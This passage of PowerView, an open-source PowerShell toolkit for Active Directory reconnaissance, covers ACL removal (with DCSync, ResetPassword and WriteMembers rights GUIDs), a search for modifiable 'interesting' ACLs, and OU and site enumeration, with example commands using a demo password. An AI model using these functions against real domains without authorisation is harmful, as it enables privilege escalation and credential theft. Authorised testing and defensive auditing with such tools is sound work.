Defaults to 'All'. 8673 8674 .PARAMETER RightsGUID 8675 8676 Manual GUID representing the right to add to the target. 8677 8678 .EXAMPLE 8679 8680 $UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid 8681 Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID} 8682 8683 [no results returned] 8684 8685 Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword 8686 8687 Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID } 8688 8689 AceQualifier : AccessAllowed 8690 ObjectDN : CN=user2,CN=Users,DC=testlab,DC=local 8691 ActiveDirectoryRights : ExtendedRight 8692 ObjectAceType : User-Force-Change-Password 8693 ObjectSID : S-1-5-21-883232822-274137685-4173207997-2105 8694 InheritanceFlags : None 8695 BinaryLength : 56 8696 AceType : AccessAllowedObject 8697 ObjectAceFlags : ObjectAceTypePresent 8698 IsCallback : False 8699 PropagationFlags : None 8700 SecurityIdentifier : S-1-5-21-883232822-274137685-4173207997-2104 8701 AccessMask : 256 8702 AuditFlags : None 8703 IsInherited : False 8704 AceFlags : None 8705 InheritedObjectAceType : All 8706 OpaqueLength : 0 8707 8708 8709 Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword 8710 8711 Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID} 8712 8713 [no results returned] 8714 8715 .LINK 8716 8717 https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell 8718 #> 8719 8720 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 8721 [CmdletBinding()] 8722 Param ( 8723 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 8724 [Alias('DistinguishedName', 'SamAccountName', 'Name')] 8725 [String[]] 8726 $TargetIdentity, 8727 8728 [ValidateNotNullOrEmpty()] 8729 [String] 8730 $TargetDomain, 8731 8732 [ValidateNotNullOrEmpty()] 8733 [Alias('Filter')] 8734 [String] 8735 $TargetLDAPFilter, 8736 8737 [ValidateNotNullOrEmpty()] 8738 [String] 8739 $TargetSearchBase, 8740 8741 [Parameter(Mandatory = $True)] 8742 [ValidateNotNullOrEmpty()] 8743 [String[]] 8744 $PrincipalIdentity, 8745 8746 [ValidateNotNullOrEmpty()] 8747 [String] 8748 $PrincipalDomain, 8749 8750 [ValidateNotNullOrEmpty()] 8751 [Alias('DomainController')] 8752 [String] 8753 $Server, 8754 8755 [ValidateSet('Base', 'OneLevel', 'Subtree')] 8756 [String] 8757 $SearchScope = 'Subtree', 8758 8759 [ValidateRange(1, 10000)] 8760 [Int] 8761 $ResultPageSize = 200, 8762 8763 [ValidateRange(1, 10000)] 8764 [Int] 8765 $ServerTimeLimit, 8766 8767 [Switch] 8768 $Tombstone, 8769 8770 [Management.Automation.PSCredential] 8771 [Management.Automation.CredentialAttribute()] 8772 $Credential = [Management.Automation.PSCredential]::Empty, 8773 8774 [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] 8775 [String] 8776 $Rights = 'All', 8777 8778 [Guid] 8779 $RightsGUID 8780 ) 8781 8782 BEGIN { 8783 $TargetSearcherArguments = @{ 8784 'Properties' = 'distinguishedname' 8785 'Raw' = $True 8786 } 8787 if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } 8788 if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } 8789 if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } 8790 if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } 8791 if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } 8792 if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } 8793 if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 8794 if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } 8795 if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } 8796 8797 $PrincipalSearcherArguments = @{ 8798 'Identity' = $PrincipalIdentity 8799 'Properties' = 'distinguishedname,objectsid' 8800 } 8801 if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } 8802 if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } 8803 if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } 8804 if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } 8805 if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 8806 if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } 8807 if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } 8808 $Principals = Get-DomainObject @PrincipalSearcherArguments 8809 if (-not $Principals) { 8810 throw "Unable to resolve principal: $PrincipalIdentity" 8811 } 8812 } 8813 8814 PROCESS { 8815 $TargetSearcherArguments['Identity'] = $TargetIdentity 8816 $Targets = Get-DomainObject @TargetSearcherArguments 8817 8818 ForEach ($TargetObject in $Targets) { 8819 8820 $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' 8821 $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' 8822 $ACEs = @() 8823 8824 if ($RightsGUID) { 8825 $GUIDs = @($RightsGUID) 8826 } 8827 else { 8828 $GUIDs = Switch ($Rights) { 8829 # ResetPassword doesn't need to know the user's current password 8830 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } 8831 # allows for the modification of group membership 8832 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } 8833 # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 8834 # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 8835 # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c 8836 # when applied to a domain's ACL, allows for the use of DCSync 8837 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} 8838 } 8839 } 8840 8841 ForEach ($PrincipalObject in $Principals) { 8842 Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)" 8843 8844 try { 8845 $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) 8846 8847 if ($GUIDs) { 8848 ForEach ($GUID in $GUIDs) { 8849 $NewGUID = New-Object Guid $GUID 8850 $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' 8851 $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType 8852 } 8853 } 8854 else { 8855 # deault to GenericAll rights 8856 $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' 8857 $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType 8858 } 8859 8860 # remove all the specified ACEs from the specified object directory entry 8861 ForEach ($ACE in $ACEs) { 8862 Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" 8863 $TargetEntry = $TargetObject.GetDirectoryEntry() 8864 $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' 8865 $TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE) 8866 $TargetEntry.PsBase.CommitChanges() 8867 } 8868 } 8869 catch { 8870 Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_" 8871 } 8872 } 8873 } 8874 } 8875 } 8876 8877 8878 function Find-InterestingDomainAcl { 8879 <# 8880 .SYNOPSIS 8881 8882 Finds object ACLs in the current (or specified) domain with modification 8883 rights set to non-built in objects. 8884 8885 Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. 8886 8887 Author: Will Schroeder (@harmj0y) 8888 License: BSD 3-Clause 8889 Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName 8890 8891 .DESCRIPTION 8892 8893 This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl, 8894 and for each returned ACE entry it checks if principal security identifier 8895 is *-1000 (meaning the account is not built in), and also checks if the rights for 8896 the ACE mean the object can be modified by the principal. If these conditions are met, 8897 then the security identifier SID is translated, the domain object is retrieved, and 8898 additional IdentityReference* information is appended to the output object. 8899 8900 .PARAMETER Domain 8901 8902 Specifies the domain to use for the query, defaults to the current domain. 8903 8904 .PARAMETER ResolveGUIDs 8905 8906 Switch. Resolve GUIDs to their display names. 8907 8908 .PARAMETER LDAPFilter 8909 8910 Specifies an LDAP query string that is used to filter Active Directory objects. 8911 8912 .PARAMETER SearchBase 8913 8914 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 8915 Useful for OU queries. 8916 8917 .PARAMETER Server 8918 8919 Specifies an Active Directory server (domain controller) to bind to. 8920 8921 .PARAMETER SearchScope 8922 8923 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 8924 8925 .PARAMETER ResultPageSize 8926 8927 Specifies the PageSize to set for the LDAP searcher object. 8928 8929 .PARAMETER ServerTimeLimit 8930 8931 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 8932 8933 .PARAMETER Tombstone 8934 8935 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 8936 8937 .PARAMETER Credential 8938 8939 A [Management.Automation.PSCredential] object of alternate credentials 8940 for connection to the target domain. 8941 8942 .EXAMPLE 8943 8944 Find-InterestingDomainAcl 8945 8946 Finds interesting object ACLS in the current domain. 8947 8948 .EXAMPLE 8949 8950 Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs 8951 8952 Finds interesting object ACLS in the ev.testlab.local domain and 8953 resolves rights GUIDs to display names. 8954 8955 .EXAMPLE 8956 8957 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 8958 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 8959 Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs 8960 8961 .OUTPUTS 8962 8963 PowerView.ACL 8964 8965 Custom PSObject with ACL entries. 8966 #> 8967 8968 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 8969 [OutputType('PowerView.ACL')] 8970 [CmdletBinding()] 8971 Param ( 8972 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 8973 [Alias('DomainName', 'Name')] 8974 [String] 8975 $Domain, 8976 8977 [Switch] 8978 $ResolveGUIDs, 8979 8980 [String] 8981 [ValidateSet('All', 'ResetPassword', 'WriteMembers')] 8982 $RightsFilter, 8983 8984 [ValidateNotNullOrEmpty()] 8985 [Alias('Filter')] 8986 [String] 8987 $LDAPFilter, 8988 8989 [ValidateNotNullOrEmpty()] 8990 [Alias('ADSPath')] 8991 [String] 8992 $SearchBase, 8993 8994 [ValidateNotNullOrEmpty()] 8995 [Alias('DomainController')] 8996 [String] 8997 $Server, 8998 8999 [ValidateSet('Base', 'OneLevel', 'Subtree')] 9000 [String] 9001 $SearchScope = 'Subtree', 9002 9003 [ValidateRange(1, 10000)] 9004 [Int] 9005 $ResultPageSize = 200, 9006 9007 [ValidateRange(1, 10000)] 9008 [Int] 9009 $ServerTimeLimit, 9010 9011 [Switch] 9012 $Tombstone, 9013 9014 [Management.Automation.PSCredential] 9015 [Management.Automation.CredentialAttribute()] 9016 $Credential = [Management.Automation.PSCredential]::Empty 9017 ) 9018 9019 BEGIN { 9020 $ACLArguments = @{} 9021 if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs } 9022 if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter } 9023 if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter } 9024 if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase } 9025 if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } 9026 if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } 9027 if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } 9028 if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } 9029 if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } 9030 if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } 9031 9032 $ObjectSearcherArguments = @{ 9033 'Properties' = 'samaccountname,objectclass' 9034 'Raw' = $True 9035 } 9036 if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server } 9037 if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope } 9038 if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize } 9039 if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 9040 if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone } 9041 if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential } 9042 9043 $ADNameArguments = @{} 9044 if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } 9045 if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } 9046 9047 # ongoing list of built-up SIDs 9048 $ResolvedSIDs = @{} 9049 } 9050 9051 PROCESS { 9052 if ($PSBoundParameters['Domain']) { 9053 $ACLArguments['Domain'] = $Domain 9054 $ADNameArguments['Domain'] = $Domain 9055 } 9056 9057 Get-DomainObjectAcl @ACLArguments | ForEach-Object { 9058 9059 if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) { 9060 # only process SIDs > 1000 9061 if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') { 9062 if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) { 9063 $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value] 9064 9065 $InterestingACL = New-Object PSObject 9066 $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN 9067 $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier 9068 $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights 9069 if ($_.ObjectAceType) { 9070 $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType 9071 } 9072 else { 9073 $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' 9074 } 9075 $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags 9076 $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType 9077 $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags 9078 $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier 9079 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName 9080 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain 9081 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN 9082 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass 9083 $InterestingACL 9084 } 9085 else { 9086 $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments 9087 # "IdentityReferenceDN: $IdentityReferenceDN" 9088 9089 if ($IdentityReferenceDN) { 9090 $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 9091 # "IdentityReferenceDomain: $IdentityReferenceDomain" 9092 $ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain 9093 $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN 9094 # "IdentityReferenceDN: $IdentityReferenceDN" 9095 $Object = Get-DomainObject @ObjectSearcherArguments 9096 9097 if ($Object) { 9098 $IdentityReferenceName = $Object.Properties.samaccountname[0] 9099 if ($Object.Properties.objectclass -match 'computer') { 9100 $IdentityReferenceClass = 'computer' 9101 } 9102 elseif ($Object.Properties.objectclass -match 'group') { 9103 $IdentityReferenceClass = 'group' 9104 } 9105 elseif ($Object.Properties.objectclass -match 'user') { 9106 $IdentityReferenceClass = 'user' 9107 } 9108 else { 9109 $IdentityReferenceClass = $Null 9110 } 9111 9112 # save so we don't look up more than once 9113 $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass 9114 9115 $InterestingACL = New-Object PSObject 9116 $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN 9117 $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier 9118 $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights 9119 if ($_.ObjectAceType) { 9120 $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType 9121 } 9122 else { 9123 $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' 9124 } 9125 $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags 9126 $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType 9127 $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags 9128 $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier 9129 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName 9130 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain 9131 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN 9132 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass 9133 $InterestingACL 9134 } 9135 } 9136 else { 9137 Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName" 9138 } 9139 } 9140 } 9141 } 9142 } 9143 } 9144 } 9145 9146 9147 function Get-DomainOU { 9148 <# 9149 .SYNOPSIS 9150 9151 Search for all organization units (OUs) or specific OU objects in AD. 9152 9153 Author: Will Schroeder (@harmj0y) 9154 License: BSD 3-Clause 9155 Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty 9156 9157 .DESCRIPTION 9158 9159 Builds a directory searcher object using Get-DomainSearcher, builds a custom 9160 LDAP filter based on targeting/filter parameters, and searches for all objects 9161 matching the criteria. To only return specific properties, use 9162 "-Properties whencreated,usnchanged,...". By default, all OU objects for 9163 the current domain are returned. 9164 9165 .PARAMETER Identity 9166 9167 An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or 9168 GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted. 9169 9170 .PARAMETER GPLink 9171 9172 Only return OUs with the specified GUID in their gplink property. 9173 9174 .PARAMETER Domain 9175 9176 Specifies the domain to use for the query, defaults to the current domain. 9177 9178 .PARAMETER LDAPFilter 9179 9180 Specifies an LDAP query string that is used to filter Active Directory objects. 9181 9182 .PARAMETER Properties 9183 9184 Specifies the properties of the output object to retrieve from the server. 9185 9186 .PARAMETER SearchBase 9187 9188 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 9189 Useful for OU queries. 9190 9191 .PARAMETER Server 9192 9193 Specifies an Active Directory server (domain controller) to bind to. 9194 9195 .PARAMETER SearchScope 9196 9197 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 9198 9199 .PARAMETER ResultPageSize 9200 9201 Specifies the PageSize to set for the LDAP searcher object. 9202 9203 .PARAMETER ServerTimeLimit 9204 9205 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 9206 9207 .PARAMETER SecurityMasks 9208 9209 Specifies an option for examining security information of a directory object. 9210 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. 9211 9212 .PARAMETER FindOne 9213 9214 Only return one result object. 9215 9216 .PARAMETER Tombstone 9217 9218 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 9219 9220 .PARAMETER Credential 9221 9222 A [Management.Automation.PSCredential] object of alternate credentials 9223 for connection to the target domain. 9224 9225 .PARAMETER Raw 9226 9227 Switch. Return raw results instead of translating the fields into a custom PSObject. 9228 9229 .EXAMPLE 9230 9231 Get-DomainOU 9232 9233 Returns the current OUs in the domain. 9234 9235 .EXAMPLE 9236 9237 Get-DomainOU *admin* -Domain testlab.local 9238 9239 Returns all OUs with "admin" in their name in the testlab.local domain. 9240 9241 .EXAMPLE 9242 9243 Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" 9244 9245 Returns all OUs with linked to the specified group policy object. 9246 9247 .EXAMPLE 9248 9249 "*admin*","*server*" | Get-DomainOU 9250 9251 Search for OUs with the specific names. 9252 9253 .EXAMPLE 9254 9255 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 9256 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 9257 Get-DomainOU -Credential $Cred 9258 9259 .OUTPUTS 9260 9261 PowerView.OU 9262 9263 Custom PSObject with translated OU property fields. 9264 #> 9265 9266 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 9267 [OutputType('PowerView.OU')] 9268 [CmdletBinding()] 9269 Param ( 9270 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 9271 [Alias('Name')] 9272 [String[]] 9273 $Identity, 9274 9275 [ValidateNotNullOrEmpty()] 9276 [String] 9277 [Alias('GUID')] 9278 $GPLink, 9279 9280 [ValidateNotNullOrEmpty()] 9281 [String] 9282 $Domain, 9283 9284 [ValidateNotNullOrEmpty()] 9285 [Alias('Filter')] 9286 [String] 9287 $LDAPFilter, 9288 9289 [ValidateNotNullOrEmpty()] 9290 [String[]] 9291 $Properties, 9292 9293 [ValidateNotNullOrEmpty()] 9294 [Alias('ADSPath')] 9295 [String] 9296 $SearchBase, 9297 9298 [ValidateNotNullOrEmpty()] 9299 [Alias('DomainController')] 9300 [String] 9301 $Server, 9302 9303 [ValidateSet('Base', 'OneLevel', 'Subtree')] 9304 [String] 9305 $SearchScope = 'Subtree', 9306 9307 [ValidateRange(1, 10000)] 9308 [Int] 9309 $ResultPageSize = 200, 9310 9311 [ValidateRange(1, 10000)] 9312 [Int] 9313 $ServerTimeLimit, 9314 9315 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] 9316 [String] 9317 $SecurityMasks, 9318 9319 [Switch] 9320 $Tombstone, 9321 9322 [Alias('ReturnOne')] 9323 [Switch] 9324 $FindOne, 9325 9326 [Management.Automation.PSCredential] 9327 [Management.Automation.CredentialAttribute()] 9328 $Credential = [Management.Automation.PSCredential]::Empty, 9329 9330 [Switch] 9331 $Raw 9332 ) 9333 9334 BEGIN { 9335 $SearcherArguments = @{} 9336 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 9337 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } 9338 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 9339 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 9340 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 9341 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 9342 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 9343 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } 9344 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 9345 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 9346 $OUSearcher = Get-DomainSearcher @SearcherArguments 9347 } 9348 9349 PROCESS { 9350 if ($OUSearcher) { 9351 $IdentityFilter = '' 9352 $Filter = '' 9353 $Identity | Where-Object {$_} | ForEach-Object { 9354 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') 9355 if ($IdentityInstance -match '^OU=.*') { 9356 $IdentityFilter += "(distinguishedname=$IdentityInstance)" 9357 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { 9358 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname 9359 # and rebuild the domain searcher 9360 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 9361 Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'" 9362 $SearcherArguments['Domain'] = $IdentityDomain 9363 $OUSearcher = Get-DomainSearcher @SearcherArguments 9364 if (-not $OUSearcher) { 9365 Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'" 9366 } 9367 } 9368 } 9369 else { 9370 try { 9371 $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' 9372 $IdentityFilter += "(objectguid=$GuidByteString)" 9373 } 9374 catch { 9375 $IdentityFilter += "(name=$IdentityInstance)" 9376 } 9377 } 9378 } 9379 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { 9380 $Filter += "(|$IdentityFilter)" 9381 } 9382 9383 if ($PSBoundParameters['GPLink']) { 9384 Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property" 9385 $Filter += "(gplink=*$GPLink*)" 9386 } 9387 9388 if ($PSBoundParameters['LDAPFilter']) { 9389 Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter" 9390 $Filter += "$LDAPFilter" 9391 } 9392 9393 $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)" 9394 Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)" 9395 9396 if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() } 9397 else { $Results = $OUSearcher.FindAll() } 9398 $Results | Where-Object {$_} | ForEach-Object { 9399 if ($PSBoundParameters['Raw']) { 9400 # return raw result objects 9401 $OU = $_ 9402 } 9403 else { 9404 $OU = Convert-LDAPProperty -Properties $_.Properties 9405 } 9406 $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU') 9407 $OU 9408 } 9409 if ($Results) { 9410 try { $Results.dispose() } 9411 catch { 9412 Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_" 9413 } 9414 } 9415 $OUSearcher.dispose() 9416 } 9417 } 9418 } 9419 9420 9421 function Get-DomainSite { 9422 <# 9423 .SYNOPSIS 9424 9425 Search for all sites or specific site objects in AD. 9426 9427 Author: Will Schroeder (@harmj0y) 9428 License: BSD 3-Clause 9429 Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty 9430 9431 .DESCRIPTION 9432 9433 Builds a directory searcher object using Get-DomainSearcher, builds a custom 9434 LDAP filter based on targeting/filter parameters, and searches for all objects 9435 matching the criteria. To only return specific properties, use 9436 "-Properties whencreated,usnchanged,...". By default, all site objects for 9437 the current domain are returned. 9438 9439 .PARAMETER Identity 9440 9441 An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or 9442 GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. 9443 9444 .PARAMETER GPLink 9445 9446 Only return sites with the specified GUID in their gplink property. 9447 9448 .PARAMETER Domain 9449 9450 Specifies the domain to use for the query, defaults to the current domain. 9451 9452 .PARAMETER LDAPFilter 9453 9454 Specifies an LDAP query string that is used to filter Active Directory objects. 9455 9456 .PARAMETER Properties 9457 9458 Specifies the properties of the output object to retrieve from the server. 9459 9460 .PARAMETER SearchBase 9461 9462 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 9463 Useful for OU queries. 9464 9465 .PARAMETER Server 9466 9467 Specifies an Active Directory server (domain controller) to bind to. 9468 9469 .PARAMETER SearchScope 9470 9471 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 9472 9473 .PARAMETER ResultPageSize 